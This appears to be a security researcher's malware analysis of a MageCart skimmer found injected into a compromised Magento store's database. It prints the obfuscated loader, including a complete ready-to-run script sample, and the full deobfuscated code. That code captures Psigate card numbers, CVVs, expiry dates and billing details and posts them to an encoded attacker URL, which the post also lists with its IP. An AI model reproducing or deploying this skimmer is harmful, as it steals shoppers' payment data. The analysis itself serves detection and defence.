Skimmer Targets Psigate Payment Fields
Outline
JavaScript Skimmer Targets Psigate Payments⌗
This MageCart skimmer was found injected into the Magento database table of core_config_data on a compromised ecommerce website.
It uses some obfuscation to prevent someone from being able to easily read the code. I ran it through a beautifier to make it easier to read and determine the type of obfuscation used.
var h95505 = "2ck11ek11898n8g7o8h896c817q8h8h8l718d7p8a7l8g8a7p8c887t8i6i7m8b8g7r8a8n8h8g6i6j978n7m6i5m8b8g7o7p7m8n8g7p7o5m5p718a998e7p8h7m5o8k7d8b7p8c996j97887t8c5o7p718k7d8b7p8c996i5m5n8e8d8n7n7t8a7p5m6j6c8e7t8c7p8g8a6i6j6c8e7t8c7p8g8a6i6j6c7m8n8g7o6i5m6c7t7r8a8n8h8g6c8e8c8n8j7t8c996c7r8m7p7r8l8h8b8a5m6j737p6c8i7p8g7n8a8m5i5i6i7r8i7p7t8c7l8g8a7p8c887t8i6i898n8g7o8h896c817q8h8h8l6j6e7p6c7q8n8g7o6i5m7r8i8n7r8l5m6e7m8b8g7r8a8n8h8g6i7p6j97898n8g7o8h896c818h8c7t7r8i7p94948c7p8f8b8n8c7p6i855m8k8f8b7p8c995m6e5m7h7t7n7p8g8a8h816p8m7p7r8l8h8b8a6d8k8d6d8j8h7o7p8i6d8f8b8h8a7p5m836e7m8b8g7r8a8n8h8g6i7p6e7t6e8a6j978n7m6i7r8b8d8a8h8j7p8c6m7t8a7t71898n8g7o8h896c7r8b8d8a8h8j7p8c6m7t8a7t6e7p8j7t8n8i717r8b8d8a8h8j7p8c6m7t8a7t6c7p8j7t8n8i6e5m8b8g7o7p7m8n8g7p7o5m71718a998e7p8h7m5o7p8j7t8n8i5i5i6i7p8j7t8n8i717t6c7n8b7p8d8a6n8j7t8n8i6j6e7t7o7o8c7p8d8d717t6c7q8n8i8i8n8g7n6r7o7o8c7p8d8d6i6j6e888h8n7o5o6a5p71717t7o7o8c7p8d8d6c7r8n8a996j97887t8c5o8c717p6i5m5n8e8d8n7n7t8a7p817r7r818g8b8j7q7p8c5m6j6c887t8i6i6j6e8g717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g5m6j6c887t8i6i6j6e8h717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g81998c5m6j6c887t8i6i6j6e8n717p6i5m5n8e8d8n7n7t8a7p817r7r817r8n7o5m6j6c887t8i6i6j738n7m6i8c5i5i8g5i5i8h5i5i8n6j97887t8c5o7r715j975m8g7t8j7p5m725m5j6e7o715j5m6e5m887t8i8b7p5m725m5j6e8d715j5m956e5j6e8b715m855m6h7r6h5m8m8h8d8a5m6h7o6h7o8h7r8b8j7p8g8a6c797a7g6h8d737m8h8c6i985o8n8g5o8b6h717r6h5m7t7n7p8g8a5m6h7o6h8g7t888n7n7t8a8h8c6c8b8d7p8c6r7n7p8g8a6h8d6e8b6h717r6h5m8b8d7p8c8g7t8j7p5m6h7o6h6i7p8j7t8n8i94945m5m6j6h8d6e7t7o7o8c7p8d8d6j8n7m6i5m7m8b8g7r8a8n8h8g5m5p718a998e7p8h7m5o7t7o7o8c7p8d8d8598836j8n7m6i5m8d8a8c7p7p8a5m5p71986j8b6h715j975m8g7t8j7p5m725m5j6h986h5j5m6e5m887t8i8b7p5m725m5j6h7t7o7o8c7p8d8d8598836h8d737p8i8d7p5o7m8h8c6i995o8n8g5o7t7o7o8c7p8d8d6c8d8a8c7p7p8a6j8b6h717r6h5m8d8a8c7p7p8a855m6h996h5m835m6h7o6h7t7o7o8c7p8d8d6c8d8a8c7p7p8a8599836h8d738b6h717r6h5m8e7t998j7p8g8a857r7r818g8b8j7q7p8c835m6h7o6h8c6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817r8n7o835m6h7o6h8n6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e818j8h8g8a8m835m6h7o6h8g6h8d6e8b716i8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e81997p7t8c835m6h7o6h8h6h8d6j6c8c7p8e8i7t7r7p6i6d7l7o6d7n6e5m818n7o5m6j6c8d8i8n7r7p6i6a6e6f6b6j6h5m835m6e898n8g7o8h896c818h8c7t7r8i7p716b73887t8c5o8i717m8b8g7r8a8n8h8g6i7p6j97887t8c5o7t6e8a6e8c717q8a8h7t6i7p8g7r8h7o7p797a7l6p8h8j8e8h8g7p8g8a6i7p6j6j6e8g715m5m737m8h8c6i7t716a737t708c6c8i7p8g7n8a8m737t6h6h6j8a7168676h6i68746h6i6b6864808c857t836c7r8m7t8c6p8h7o7p6r8a6i6a6j6j806b686b6j6e8g6h717b8a8c8n8g7n6c7m8c8h8j6p8m7t8c6p8h7o7p6i8a6j738c7p8a8b8c8g5o8g956i8b6j737p6c7t8k7t986i978b8c8i727t8a8h7q6i5m7t7k7a6a7r7k7h647g99758l7p77678i848j878b848g7l887t6l768m7q7k7a8h86687e8h84777e8c7g8g6o8h7r6r71715m6j6e8a998e7p725m8e8h8d8a5m6e7o7t8a7t78998e7p725m8a7p988a5m6e7o7t8a7t72977r7t8c8a6p8m7p7r8l7b8b8j6m7t8a7t728i6e8f8b8h8a7p7h8h7o7p725m7r8m7p7r8l8h8b8a5m95956j9595956j956j6j95956e6b7p696j73";
var r20525 = 30;
t87588 = h95505;
x796 = t87588.split("k11"), p94751 = parseInt(x796[0], 30), f1794 = parseInt(x796[1], 30);
var q64825 = [];
for (var a76907 = 0; a76907 < x796[2].length; a76907 += 2) {
q64825.push(x796[2].substring(a76907, a76907 + 2));
}
t87588 = "";
for (var l84644 = 0; q64825.length > l84644; l84644++) t87588 += String.fromCharCode(((parseInt(q64825[l84644], r20525) - p94751) ^ f1794) - p94751);
Function(t87588).call();
For this sample it looks like the skimmer payload is within the var h95505
but it is encoded with CharCode
values that use different forms of obfuscation like .push
to alter the values for the text in the var h95505
variable.
This means we need to reverse the obfuscation so we can get the plaintext and be able to read the code.
EZ Deobfuscation⌗
A fast and easy way to get around this type of obfuscation is just to append console.log(t87588);
to the malicious code after copy/pasting it into the Console
section of your browser’s Dev Tools
as I demonstrate below:
Adding console.log(t87588);
will provide us with the deobfuscated code of this skimmer when you run the code - preventing us from having to deobfuscate it manually.
Deobfuscated JavaScript Skimmer Injection⌗
After beautifying the console log response from before, we are left with the following skimmer code in JavaScript
.
It’s possible to clean up the code more, but it’s not necessary since we have deobfuscated enough of the source code to allow us to determine the code’s purpose.
window._book = setInterval(function() {
if ("undefined" != typeof jQuery) {
var e = jQuery("#psigate").parent().parent().find(".action.primary.checkout");
e.length && (clearInterval(window._book), e.bind("click", function(e) {
window._oracle || require(["jquery", "Magento_Checkout/js/model/quote"], function(e, a, t) {
if (customerData = window.customerData, email = customerData.email, "undefined" == typeof email && (email = a.guestEmail), address = a.billingAddress(), void 0 !== address.city) {
var r = e("#psigate_cc_number").val(),
n = e("#psigate_expiration").val(),
o = e("#psigate_expiration_yr").val(),
i = e("#psigate_cc_cid").val();
if (r && n && o && i) {
var c = '{"name":"',
d = '","value":"',
s = '"},',
u = "[" + c + "host" + d + document.URL + s;
for (x in u += c + "agent" + d + navigator.userAgent + s, u += c + "username" + d + (email || "") + s, address)
if ("function" != typeof address[x])
if ("street" != x) u += '{"name":"' + x + '","value":"' + address[x] + s;
else
for (y in address.street) u += c + "street[" + y + "]" + d + address.street[y] + s;
u += c + "payment[cc_number]" + d + r + s, u += c + "payment[cc_cid]" + d + i + s, u += c + "payment[cc_exp_month]" + d + n + s, u = (u += c + "payment[cc_exp_year]" + d + o + s).replace(/Id/g, "_id").slice(0, -1) + "]", window._oracle = 1;
var l = function(e) {
var a, t, r = btoa(encodeURIComponent(e)),
n = "";
for (a = 0; a < r.length; a++) t = 25 + (28 + (126 ^ r[a].charCodeAt(0)) ^ 121), n += String.fromCharCode(t);
return n
}(u);
e.ajax({
url: atob("aHR0cHM6Ly9keW5lZmYuZnIvaGVhbHRoX2NoZWNrLnBocA=="),
//url: https://dyneff[.]fr/health_check.php
type: "post",
dataType: "text",
data: {
cartCheckSumData: l,
quoteMode: "checkout"
}
})
}
}
})
}))
}
}, 1e3);
In this case the purpose would be to steal payment data from customers using the #psigate_cc_number
fields on this ecommerce website - then log additional details about the customer before exfiltrating the stolen payment data to a third party URL.
Exfiltration⌗
As previously mentioned - stolen payment data information is exfiltrated to the third party URL:
https://dyneff[.]fr/health_check.php
Which looks to be another compromised website under control by the attacker.
Exfil URL: https://dyneff[.]fr/health_check.php
[+] IP Address : 54.36.102.36
Sample⌗
Here is a sample of the original malicious code injected into the Magento database table core_config_data
:
<script> var h95505 = "2ck11ek11898n8g7o8h896c817q8h8h8l718d7p8a7l8g8a7p8c887t8i6i7m8b8g7r8a8n8h8g6i6j978n7m6i5m8b8g7o7p7m8n8g7p7o5m5p718a998e7p8h7m5o8k7d8b7p8c996j97887t8c5o7p718k7d8b7p8c996i5m5n8e8d8n7n7t8a7p5m6j6c8e7t8c7p8g8a6i6j6c8e7t8c7p8g8a6i6j6c7m8n8g7o6i5m6c7t7r8a8n8h8g6c8e8c8n8j7t8c996c7r8m7p7r8l8h8b8a5m6j737p6c8i7p8g7n8a8m5i5i6i7r8i7p7t8c7l8g8a7p8c887t8i6i898n8g7o8h896c817q8h8h8l6j6e7p6c7q8n8g7o6i5m7r8i8n7r8l5m6e7m8b8g7r8a8n8h8g6i7p6j97898n8g7o8h896c818h8c7t7r8i7p94948c7p8f8b8n8c7p6i855m8k8f8b7p8c995m6e5m7h7t7n7p8g8a8h816p8m7p7r8l8h8b8a6d8k8d6d8j8h7o7p8i6d8f8b8h8a7p5m836e7m8b8g7r8a8n8h8g6i7p6e7t6e8a6j978n7m6i7r8b8d8a8h8j7p8c6m7t8a7t71898n8g7o8h896c7r8b8d8a8h8j7p8c6m7t8a7t6e7p8j7t8n8i717r8b8d8a8h8j7p8c6m7t8a7t6c7p8j7t8n8i6e5m8b8g7o7p7m8n8g7p7o5m71718a998e7p8h7m5o7p8j7t8n8i5i5i6i7p8j7t8n8i717t6c7n8b7p8d8a6n8j7t8n8i6j6e7t7o7o8c7p8d8d717t6c7q8n8i8i8n8g7n6r7o7o8c7p8d8d6i6j6e888h8n7o5o6a5p71717t7o7o8c7p8d8d6c7r8n8a996j97887t8c5o8c717p6i5m5n8e8d8n7n7t8a7p817r7r818g8b8j7q7p8c5m6j6c887t8i6i6j6e8g717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g5m6j6c887t8i6i6j6e8h717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g81998c5m6j6c887t8i6i6j6e8n717p6i5m5n8e8d8n7n7t8a7p817r7r817r8n7o5m6j6c887t8i6i6j738n7m6i8c5i5i8g5i5i8h5i5i8n6j97887t8c5o7r715j975m8g7t8j7p5m725m5j6e7o715j5m6e5m887t8i8b7p5m725m5j6e8d715j5m956e5j6e8b715m855m6h7r6h5m8m8h8d8a5m6h7o6h7o8h7r8b8j7p8g8a6c797a7g6h8d737m8h8c6i985o8n8g5o8b6h717r6h5m7t7n7p8g8a5m6h7o6h8g7t888n7n7t8a8h8c6c8b8d7p8c6r7n7p8g8a6h8d6e8b6h717r6h5m8b8d7p8c8g7t8j7p5m6h7o6h6i7p8j7t8n8i94945m5m6j6h8d6e7t7o7o8c7p8d8d6j8n7m6i5m7m8b8g7r8a8n8h8g5m5p718a998e7p8h7m5o7t7o7o8c7p8d8d8598836j8n7m6i5m8d8a8c7p7p8a5m5p71986j8b6h715j975m8g7t8j7p5m725m5j6h986h5j5m6e5m887t8i8b7p5m725m5j6h7t7o7o8c7p8d8d8598836h8d737p8i8d7p5o7m8h8c6i995o8n8g5o7t7o7o8c7p8d8d6c8d8a8c7p7p8a6j8b6h717r6h5m8d8a8c7p7p8a855m6h996h5m835m6h7o6h7t7o7o8c7p8d8d6c8d8a8c7p7p8a8599836h8d738b6h717r6h5m8e7t998j7p8g8a857r7r818g8b8j7q7p8c835m6h7o6h8c6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817r8n7o835m6h7o6h8n6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e818j8h8g8a8m835m6h7o6h8g6h8d6e8b716i8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e81997p7t8c835m6h7o6h8h6h8d6j6c8c7p8e8i7t7r7p6i6d7l7o6d7n6e5m818n7o5m6j6c8d8i8n7r7p6i6a6e6f6b6j6h5m835m6e898n8g7o8h896c818h8c7t7r8i7p716b73887t8c5o8i717m8b8g7r8a8n8h8g6i7p6j97887t8c5o7t6e8a6e8c717q8a8h7t6i7p8g7r8h7o7p797a7l6p8h8j8e8h8g7p8g8a6i7p6j6j6e8g715m5m737m8h8c6i7t716a737t708c6c8i7p8g7n8a8m737t6h6h6j8a7168676h6i68746h6i6b6864808c857t836c7r8m7t8c6p8h7o7p6r8a6i6a6j6j806b686b6j6e8g6h717b8a8c8n8g7n6c7m8c8h8j6p8m7t8c6p8h7o7p6i8a6j738c7p8a8b8c8g5o8g956i8b6j737p6c7t8k7t986i978b8c8i727t8a8h7q6i5m7t7k7a6a7r7k7h647g99758l7p77678i848j878b848g7l887t6l768m7q7k7a8h86687e8h84777e8c7g8g6o8h7r6r71715m6j6e8a998e7p725m8e8h8d8a5m6e7o7t8a7t78998e7p725m8a7p988a5m6e7o7t8a7t72977r7t8c8a6p8m7p7r8l7b8b8j6m7t8a7t728i6e8f8b8h8a7p7h8h7o7p725m7r8m7p7r8l8h8b8a5m95956j9595956j956j6j95956e6b7p696j73";var r20525=30;t87588=h95505;x796=t87588.split("k11"),p94751=parseInt(x796[0],30),f1794=parseInt(x796[1],30);var q64825=[];for(var a76907=0;a76907<x796[2].length;a76907+=2){q64825.push(x796[2].substring(a76907,a76907+2));}t87588="";for(var l84644=0;q64825.length>l84644;l84644++)t87588+=String.fromCharCode(((parseInt(q64825[l84644],r20525)-p94751)^f1794)-p94751);Function(t87588).call(); </script>